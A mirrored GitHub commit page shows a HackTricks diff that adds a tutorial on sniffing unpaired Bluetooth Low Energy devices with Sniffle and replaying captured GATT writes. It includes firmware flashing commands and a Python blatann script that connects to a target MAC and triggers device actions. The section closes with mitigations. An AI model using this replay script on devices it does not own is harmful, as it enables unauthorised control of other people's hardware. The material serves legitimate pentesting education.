mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge pull request #1347 from HackTricks-wiki/update_Start_hacking_Bluetooth_Low_Energy_today___part_2__20250827_124037
Start hacking Bluetooth Low Energy today! (part 2)
This commit is contained in:
SirBroccoli
GitHub
commit
dde1258022
@ -70,7 +70,135 @@ sudo bettercap --eval "ble.recon on"
|
||||
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
||||
```
|
||||
|
||||
## Sniffing and actively controlling unpaired BLE devices
|
||||
|
||||
Many low-cost BLE peripherals do not enforce pairing/bonding. Without bonding, the Link Layer encryption is never enabled, so ATT/GATT traffic is in cleartext. An off-path sniffer can follow the connection, decode GATT operations to learn characteristic handles and values, and any nearby host can then connect and replay those writes to control the device.
|
||||
|
||||
### Sniffing with Sniffle (CC26x2/CC1352)
|
||||
|
||||
Hardware: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NCC Group’s Sniffle firmware.
|
||||
|
||||
Install Sniffle and its Wireshark extcap on Linux:
|
||||
|
||||
```bash
|
||||
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||||
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||||
sudo mkdir -p /opt/sniffle
|
||||
sudo chown -R $USER:$USER /opt/sniffle
|
||||
pushd /opt/sniffle
|
||||
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
|
||||
tar xvf v1.10.0.tar.gz
|
||||
# Install Wireshark extcap for user and root only
|
||||
mkdir -p $HOME/.local/lib/wireshark/extcap
|
||||
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
|
||||
sudo mkdir -p /root/.local/lib/wireshark/extcap
|
||||
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
|
||||
popd
|
||||
else
|
||||
echo "[+] - Sniffle already installed at 1.10.0"
|
||||
fi
|
||||
```
|
||||
|
||||
Flash Sonoff with Sniffle firmware (ensure your serial device matches, e.g. /dev/ttyUSB0):
|
||||
|
||||
```bash
|
||||
pushd /opt/sniffle/
|
||||
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
git clone https://github.com/sultanqasim/cc2538-bsl.git
|
||||
cd cc2538-bsl
|
||||
python3 -m venv .venv
|
||||
source .venv/bin/activate
|
||||
python3 -m pip install pyserial intelhex
|
||||
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
deactivate
|
||||
popd
|
||||
```
|
||||
|
||||
Capture in Wireshark via the Sniffle extcap and quickly pivot to state-changing writes by filtering:
|
||||
|
||||
```text
|
||||
_ws.col.info contains "Sent Write Command"
|
||||
```
|
||||
|
||||
This highlights ATT Write Commands from the client; the handle and value often directly map to device actions (e.g., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).
|
||||
|
||||
Sniffle CLI quick examples:
|
||||
|
||||
```bash
|
||||
python3 scanner.py --output scan.pcap
|
||||
# Only devices with very strong signal
|
||||
python3 scanner.py --rssi -40
|
||||
# Filter advertisements containing a string
|
||||
python3 sniffer.py --string "banana" --output sniff.pcap
|
||||
```
|
||||
|
||||
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.
|
||||
|
||||
### Active control via GATT
|
||||
|
||||
Once you’ve identified a writable characteristic handle and value from the sniffed traffic, connect as any central and issue the same write:
|
||||
|
||||
- With Nordic nRF Connect for Desktop (BLE app):
|
||||
- Select the nRF52/nRF52840 dongle, scan and connect to the target.
|
||||
- Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level).
|
||||
- Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).
|
||||
|
||||
- Automate on Windows with a Nordic dongle using Python + blatann:
|
||||
|
||||
```python
|
||||
import time
|
||||
import blatann
|
||||
|
||||
# CONFIG
|
||||
COM_PORT = "COM29" # Replace with your COM port
|
||||
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
|
||||
|
||||
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
|
||||
|
||||
# CONNECT
|
||||
ble_device = blatann.BleDevice(COM_PORT)
|
||||
ble_device.configure()
|
||||
ble_device.open()
|
||||
print(f"[-] Connecting to {TARGET_MAC}...")
|
||||
peer = ble_device.connect(target_address).wait()
|
||||
if not peer:
|
||||
print("[!] Connection failed.")
|
||||
ble_device.close()
|
||||
raise SystemExit(1)
|
||||
|
||||
print("Connected. Discovering services...")
|
||||
peer.discover_services().wait(5, exception_on_timeout=False)
|
||||
|
||||
# Example: write 0x01/0x00 to a known handle
|
||||
for service in peer.database.services:
|
||||
for ch in service.characteristics:
|
||||
if ch.handle == 0x000b: # Replace with your handle
|
||||
print("[!] Beeping.")
|
||||
ch.write(b"\x01")
|
||||
time.sleep(2)
|
||||
print("[+] And relax.")
|
||||
ch.write(b"\x00")
|
||||
|
||||
print("[-] Disconnecting...")
|
||||
peer.disconnect()
|
||||
peer.wait_for_disconnect()
|
||||
ble_device.close()
|
||||
```
|
||||
|
||||
### Operational notes and mitigations
|
||||
|
||||
- Prefer Sonoff+Sniffle on Linux for robust channel hopping and connection following. Keep a spare Nordic sniffer as a backup.
|
||||
- Without pairing/bonding, any nearby attacker can observe writes and replay/craft their own to unauthenticated writable characteristics.
|
||||
- Mitigations: require pairing/bonding and enforce encryption; set characteristic permissions to require authenticated writes; minimize unauthenticated writable characteristics; validate GATT ACLs with Sniffle/nRF Connect.
|
||||
|
||||
## References
|
||||
|
||||
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
|
||||
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
|
||||
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
|
||||
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
|
||||
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
|
||||
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
|
||||
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user